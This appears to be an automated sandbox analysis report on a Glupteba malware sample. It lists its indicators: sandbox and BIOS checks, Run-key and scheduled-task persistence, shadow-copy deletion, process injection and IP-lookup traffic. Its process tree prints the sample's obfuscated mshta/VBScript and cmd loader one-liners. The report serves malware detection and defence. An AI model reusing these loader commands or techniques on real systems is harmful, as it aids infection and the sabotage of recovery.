glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	J0kuIvOhl8M2pMO7SzEbsSo1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	J0kuIvOhl8M2pMO7SzEbsSo1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	kDaXHvvZVGDJV9I0suMAnWms.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	kDaXHvvZVGDJV9I0suMAnWms.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vTUTBKxGdlQ0CJyNdqOMyuj4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vTUTBKxGdlQ0CJyNdqOMyuj4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vl8ieEveenrrk0ATyyXk_6d6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vl8ieEveenrrk0ATyyXk_6d6.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (6).exe

Loads dropped DLL 8 IoCs

pid	Process
2244	uirJhyYUCrI_qlr8NOzHWiKx.exe
4888	HlYxujVaZy5CFDwiHqHEEiSH.exe
4888	HlYxujVaZy5CFDwiHqHEEiSH.exe
6084	Stats.tmp
6084	Stats.tmp
5896	rundll32.exe
5240	Conhost.exe
5240	Conhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral28/files/0x000100000001abb2-183.dat	themida
behavioral28/files/0x000100000001abb2-224.dat	themida
behavioral28/memory/3968-255-0x0000000000040000-0x0000000000041000-memory.dmp	themida
behavioral28/memory/3684-252-0x0000000000030000-0x0000000000031000-memory.dmp	themida
behavioral28/memory/3472-250-0x0000000001050000-0x0000000001051000-memory.dmp	themida
behavioral28/files/0x000100000001abca-189.dat	themida
behavioral28/files/0x000100000001abc5-187.dat	themida
behavioral28/files/0x000100000001abc4-181.dat	themida
behavioral28/files/0x000100000001abca-155.dat	themida
behavioral28/files/0x000100000001abc5-151.dat	themida
behavioral28/files/0x000100000001abc4-152.dat	themida
behavioral28/memory/1112-272-0x00000000009E0000-0x00000000009E1000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5813699.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vl8ieEveenrrk0ATyyXk_6d6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	J0kuIvOhl8M2pMO7SzEbsSo1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kDaXHvvZVGDJV9I0suMAnWms.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vTUTBKxGdlQ0CJyNdqOMyuj4.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 23 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
202	freegeoip.app
207	freegeoip.app
220	ipinfo.io
224	ipinfo.io
267	ipinfo.io
401	ipinfo.io
29	ipinfo.io
147	ipinfo.io
2898	whoer.net
421	ip-api.com
2897	whoer.net
233	ipinfo.io
394	ipinfo.io
1834	freegeoip.app
149	ipinfo.io
231	ipinfo.io
1833	freegeoip.app
199	freegeoip.app
1715	geoiptool.com
201	freegeoip.app
266	ipinfo.io
28	ipinfo.io
130	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3472	J0kuIvOhl8M2pMO7SzEbsSo1.exe
3968	vTUTBKxGdlQ0CJyNdqOMyuj4.exe
3684	kDaXHvvZVGDJV9I0suMAnWms.exe
1112	vl8ieEveenrrk0ATyyXk_6d6.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1212 set thread context of 4832	1212	QRjcRUt_w465BpaM0CsIXsNh.exe	109
PID 1564 set thread context of 4872	1564	j88HxV4UXDWOPXhwPUiI12WW.exe	110
PID 2560 set thread context of 3448	2560	6uJ7kDGY2mN0_z_INHtbrw8d.exe	126
PID 2932 set thread context of 5436	2932	Eig0VZhpDN6lNmaq8hdSLo8o.exe	184

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	v1FwtFtx7XWd4dMYIyla_VJ1.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	v1FwtFtx7XWd4dMYIyla_VJ1.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	md8_8eus.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	v1FwtFtx7XWd4dMYIyla_VJ1.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe	Setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File created	C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jooyu.exe	v1FwtFtx7XWd4dMYIyla_VJ1.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	v1FwtFtx7XWd4dMYIyla_VJ1.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 37 IoCs

pid	pid_target	Process	procid_target
2212	4872	WerFault.exe	110
4324	1656	WerFault.exe	94
4860	1656	WerFault.exe	94
4992	1656	WerFault.exe	94
3624	1656	WerFault.exe	94
4512	2324	WerFault.exe	96
4972	3804	WerFault.exe	81
3624	3804	WerFault.exe	81
4932	3804	WerFault.exe	81
3936	1656	WerFault.exe	94
2824	3804	WerFault.exe	81
4932	1536	WerFault.exe	91
1528	1536	WerFault.exe	91
5208	1536	WerFault.exe	91
5420	1536	WerFault.exe	91
5404	3804	WerFault.exe	81
5596	1536	WerFault.exe	91
5672	3804	WerFault.exe	81
5756	1536	WerFault.exe	91
5892	3804	WerFault.exe	81
5948	1536	WerFault.exe	91
6104	3804	WerFault.exe	81
4560	1536	WerFault.exe	91
5436	1536	WerFault.exe	91
4440	1536	WerFault.exe	91
3808	1536	WerFault.exe	91
6180	1536	WerFault.exe	91
6148	5840	WerFault.exe	171
4128	5840	WerFault.exe	171
2060	5840	WerFault.exe	171
6784	5840	WerFault.exe	171
4620	5840	WerFault.exe	171
2064	5840	WerFault.exe	171
6288	5840	WerFault.exe	171
3900	5840	WerFault.exe	171
7348	5840	WerFault.exe	171
7808	5840	WerFault.exe	171

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6uJ7kDGY2mN0_z_INHtbrw8d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6uJ7kDGY2mN0_z_INHtbrw8d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6uJ7kDGY2mN0_z_INHtbrw8d.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6576	schtasks.exe
7424	schtasks.exe
4332	schtasks.exe
9800	schtasks.exe

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
8920	vssadmin.exe
5824	vssadmin.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
1380	taskkill.exe
5928	taskkill.exe
6584	taskkill.exe
4160	taskkill.exe
8328	taskkill.exe
8944	taskkill.exe
9932	taskkill.exe
10092	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Process not Found

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
8848	PING.EXE
4184	PING.EXE

Script User-Agent 12 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	153	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	181	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	183	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	229	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	404	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	228	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	399	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	148	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	149	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	173	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	198	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	223	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3540	Setup (6).exe
3540	Setup (6).exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4324	PhJGQeYiwZqTAsttVmEvuymW.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4860	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
4992	WerFault.exe
3448	6uJ7kDGY2mN0_z_INHtbrw8d.exe
3448	6uJ7kDGY2mN0_z_INHtbrw8d.exe
3624	WerFault.exe
3624	WerFault.exe
3624	WerFault.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3448	6uJ7kDGY2mN0_z_INHtbrw8d.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2932	Eig0VZhpDN6lNmaq8hdSLo8o.exe
Token: SeDebugPrivilege	2244	uirJhyYUCrI_qlr8NOzHWiKx.exe
Token: SeDebugPrivilege	2564	DqHQhSf76S1DwAJggqUuyvUs.exe
Token: SeRestorePrivilege	4324	PhJGQeYiwZqTAsttVmEvuymW.exe
Token: SeBackupPrivilege	4324	PhJGQeYiwZqTAsttVmEvuymW.exe
Token: SeDebugPrivilege	1156	KEwv8xFLso1JmhjHqpiKMOP4.exe
Token: SeDebugPrivilege	4324	PhJGQeYiwZqTAsttVmEvuymW.exe
Token: SeDebugPrivilege	4860	WerFault.exe
Token: SeDebugPrivilege	3684	kDaXHvvZVGDJV9I0suMAnWms.exe
Token: SeDebugPrivilege	3472	J0kuIvOhl8M2pMO7SzEbsSo1.exe
Token: SeDebugPrivilege	3968	vTUTBKxGdlQ0CJyNdqOMyuj4.exe
Token: SeDebugPrivilege	4832	QRjcRUt_w465BpaM0CsIXsNh.exe
Token: SeDebugPrivilege	4992	WerFault.exe
Token: SeDebugPrivilege	3624	WerFault.exe
Token: SeDebugPrivilege	4512	WerFault.exe
Token: SeDebugPrivilege	1672	UGu9wlp0dLoN9BlhkUBwUwpp.exe
Token: SeDebugPrivilege	1112	vl8ieEveenrrk0ATyyXk_6d6.exe
Token: SeDebugPrivilege	3936	WerFault.exe
Token: SeDebugPrivilege	4932	WerFault.exe
Token: SeDebugPrivilege	1528	WerFault.exe
Token: SeDebugPrivilege	1912	5307415.exe
Token: SeDebugPrivilege	5208	WerFault.exe
Token: SeDebugPrivilege	5160	2358980.exe
Token: SeDebugPrivilege	5420	WerFault.exe
Token: SeDebugPrivilege	1380	taskkill.exe
Token: SeDebugPrivilege	5596	WerFault.exe
Token: SeDebugPrivilege	192	4225805.exe
Token: SeDebugPrivilege	424	yuk0VhsSo0mmBzasaZqb1qXc.exe
Token: SeDebugPrivilege	5756	WerFault.exe
Token: SeDebugPrivilege	5948	WerFault.exe
Token: SeManageVolumePrivilege	4276	md8_8eus.exe
Token: SeDebugPrivilege	4560	WerFault.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeDebugPrivilege	5436	Eig0VZhpDN6lNmaq8hdSLo8o.exe
Token: SeDebugPrivilege	4440	aU_YWnG4yVqX1HKY_nk55eIu.exe
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found
Token: SeCreatePagefilePrivilege	2756	Process not Found
Token: SeShutdownPrivilege	2756	Process not Found

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4888	HlYxujVaZy5CFDwiHqHEEiSH.exe
2756	Process not Found
2756	Process not Found
5896	rundll32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 2564	3540	Setup (6).exe	79
PID 3540 wrote to memory of 2564	3540	Setup (6).exe	79
PID 3540 wrote to memory of 424	3540	Setup (6).exe	78
PID 3540 wrote to memory of 424	3540	Setup (6).exe	78
PID 3540 wrote to memory of 424	3540	Setup (6).exe	78
PID 3540 wrote to memory of 1212	3540	Setup (6).exe	80
PID 3540 wrote to memory of 1212	3540	Setup (6).exe	80
PID 3540 wrote to memory of 1212	3540	Setup (6).exe	80
PID 3540 wrote to memory of 3804	3540	Setup (6).exe	81
PID 3540 wrote to memory of 3804	3540	Setup (6).exe	81
PID 3540 wrote to memory of 3804	3540	Setup (6).exe	81
PID 3540 wrote to memory of 2016	3540	Setup (6).exe	83
PID 3540 wrote to memory of 2016	3540	Setup (6).exe	83
PID 3540 wrote to memory of 2324	3540	Setup (6).exe	96
PID 3540 wrote to memory of 2324	3540	Setup (6).exe	96
PID 3540 wrote to memory of 2324	3540	Setup (6).exe	96
PID 3540 wrote to memory of 1656	3540	Setup (6).exe	94
PID 3540 wrote to memory of 1656	3540	Setup (6).exe	94
PID 3540 wrote to memory of 1656	3540	Setup (6).exe	94
PID 3540 wrote to memory of 1672	3540	Setup (6).exe	93
PID 3540 wrote to memory of 1672	3540	Setup (6).exe	93
PID 3540 wrote to memory of 1672	3540	Setup (6).exe	93
PID 3540 wrote to memory of 1820	3540	Setup (6).exe	92
PID 3540 wrote to memory of 1820	3540	Setup (6).exe	92
PID 3540 wrote to memory of 1820	3540	Setup (6).exe	92
PID 3540 wrote to memory of 1536	3540	Setup (6).exe	91
PID 3540 wrote to memory of 1536	3540	Setup (6).exe	91
PID 3540 wrote to memory of 1536	3540	Setup (6).exe	91
PID 3540 wrote to memory of 3888	3540	Setup (6).exe	90
PID 3540 wrote to memory of 3888	3540	Setup (6).exe	90
PID 3540 wrote to memory of 3888	3540	Setup (6).exe	90
PID 3540 wrote to memory of 3472	3540	Setup (6).exe	89
PID 3540 wrote to memory of 3472	3540	Setup (6).exe	89
PID 3540 wrote to memory of 3472	3540	Setup (6).exe	89
PID 3540 wrote to memory of 3968	3540	Setup (6).exe	88
PID 3540 wrote to memory of 3968	3540	Setup (6).exe	88
PID 3540 wrote to memory of 3968	3540	Setup (6).exe	88
PID 3540 wrote to memory of 3488	3540	Setup (6).exe	87
PID 3540 wrote to memory of 3488	3540	Setup (6).exe	87
PID 3540 wrote to memory of 3488	3540	Setup (6).exe	87
PID 3540 wrote to memory of 3684	3540	Setup (6).exe	86
PID 3540 wrote to memory of 3684	3540	Setup (6).exe	86
PID 3540 wrote to memory of 3684	3540	Setup (6).exe	86
PID 3540 wrote to memory of 736	3540	Setup (6).exe	85
PID 3540 wrote to memory of 736	3540	Setup (6).exe	85
PID 3540 wrote to memory of 736	3540	Setup (6).exe	85
PID 3540 wrote to memory of 2100	3540	Setup (6).exe	84
PID 3540 wrote to memory of 2100	3540	Setup (6).exe	84
PID 3540 wrote to memory of 2100	3540	Setup (6).exe	84
PID 3540 wrote to memory of 2932	3540	Setup (6).exe	103
PID 3540 wrote to memory of 2932	3540	Setup (6).exe	103
PID 3540 wrote to memory of 2932	3540	Setup (6).exe	103
PID 3540 wrote to memory of 2560	3540	Setup (6).exe	97
PID 3540 wrote to memory of 2560	3540	Setup (6).exe	97
PID 3540 wrote to memory of 2560	3540	Setup (6).exe	97
PID 3540 wrote to memory of 1156	3540	Setup (6).exe	120
PID 3540 wrote to memory of 1156	3540	Setup (6).exe	120
PID 3540 wrote to memory of 1156	3540	Setup (6).exe	120
PID 3540 wrote to memory of 1564	3540	Setup (6).exe	119
PID 3540 wrote to memory of 1564	3540	Setup (6).exe	119
PID 3540 wrote to memory of 1564	3540	Setup (6).exe	119
PID 3540 wrote to memory of 2244	3540	Setup (6).exe	117
PID 3540 wrote to memory of 2244	3540	Setup (6).exe	117
PID 3540 wrote to memory of 1112	3540	Setup (6).exe	115

C:\Users\Admin\AppData\Local\Temp\Setup (6).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (6).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Users\Admin\Documents\yuk0VhsSo0mmBzasaZqb1qXc.exe
  "C:\Users\Admin\Documents\yuk0VhsSo0mmBzasaZqb1qXc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:424
- C:\Users\Admin\Documents\DqHQhSf76S1DwAJggqUuyvUs.exe
  "C:\Users\Admin\Documents\DqHQhSf76S1DwAJggqUuyvUs.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- - C:\Users\Admin\AppData\Roaming\5307415.exe
    "C:\Users\Admin\AppData\Roaming\5307415.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
- - C:\Users\Admin\AppData\Roaming\5813699.exe
    "C:\Users\Admin\AppData\Roaming\5813699.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4252
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      PID:5132
- - C:\Users\Admin\AppData\Roaming\4225805.exe
    "C:\Users\Admin\AppData\Roaming\4225805.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:192
- - C:\Users\Admin\AppData\Roaming\2358980.exe
    "C:\Users\Admin\AppData\Roaming\2358980.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5160
- C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe
  "C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1212
- - C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe
    C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe
    3⤵
    - Executes dropped EXE
    PID:4684
- - C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe
    C:\Users\Admin\Documents\QRjcRUt_w465BpaM0CsIXsNh.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4832
- C:\Users\Admin\Documents\4lVrwSQJPodX2rnYzLcsEb21.exe
  "C:\Users\Admin\Documents\4lVrwSQJPodX2rnYzLcsEb21.exe"
  2⤵
  - Executes dropped EXE
  PID:3804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 388
    3⤵
    - Program crash
    PID:4972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 368
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3624
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 404
    3⤵
    - Program crash
    PID:4932
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 624
    3⤵
    - Program crash
    PID:2824
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 668
    3⤵
    - Program crash
    PID:5404
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 696
    3⤵
    - Program crash
    PID:5672
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 604
    3⤵
    - Program crash
    PID:5892
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 696
    3⤵
    - Program crash
    PID:6104
- - C:\Users\Admin\Documents\4lVrwSQJPodX2rnYzLcsEb21.exe
    "C:\Users\Admin\Documents\4lVrwSQJPodX2rnYzLcsEb21.exe"
    3⤵
    PID:9312
- C:\Users\Admin\Documents\__SOWA8tRrakx_qXeUAW5YTt.exe
  "C:\Users\Admin\Documents\__SOWA8tRrakx_qXeUAW5YTt.exe"
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe
  "C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe"
  2⤵
  - Executes dropped EXE
  PID:2100
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
    3⤵
    PID:4396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\ecDLy1NDbln6v7JVsQfvOgI7.exe") do taskkill -IM "%~nXW" -f
      4⤵
      PID:4472
    - - C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        5⤵
        
        PID:180
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        6⤵
        
        PID:5828
        
        C:\Windows\SysWOW64\cmd.exe
        
